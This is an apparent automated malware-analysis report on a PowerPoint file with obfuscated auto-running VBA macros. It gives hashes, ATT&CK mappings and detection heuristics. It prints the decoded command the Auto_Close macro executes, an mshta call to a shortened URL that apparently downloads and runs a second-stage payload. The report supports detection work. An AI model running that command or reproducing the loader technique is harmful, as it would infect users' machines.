Malicious Office (OLE) / .PPT — malware analysis report

Static analysis result for SHA-256 61d7a675b5a30c04…

MALICIOUS

Office (OLE) / .PPT

185.5 KB Created: 2020-12-09 16:16:34 Authoring application: Microsoft Office PowerPoint
MD5: 4a2400f1374ea2be6d0cdf7ce7fcafbd SHA-1: 89065e27e73f59fe6e4d1e0c6ec58a48a0bcbf31 SHA-256: 61d7a675b5a30c04a2cc023ac1da2957571baf466281aba3eae92f14461c462d
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The PowerPoint file contains obfuscated VBA macros designed to execute a command. The Auto_Close macro reconstructs the string 'msh t http://1230948%1230948@j.mp/dbjaghsavchgtdjsagvfhda' and uses the Shell() function to execute it, likely downloading and running a second-stage payload from the provided URL. The presence of obfuscated auto-executing VBA code and the use of Shell() strongly indicate malicious intent.

Heuristics 6

  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://1230948%1230948@j.mp/dbjaghsavchgtdjsagvfhda

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
885d6bba652cd24568109ece7c6f8ce4e613977d1af5223396fa21b68cb9b2e2		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 48891 bytes

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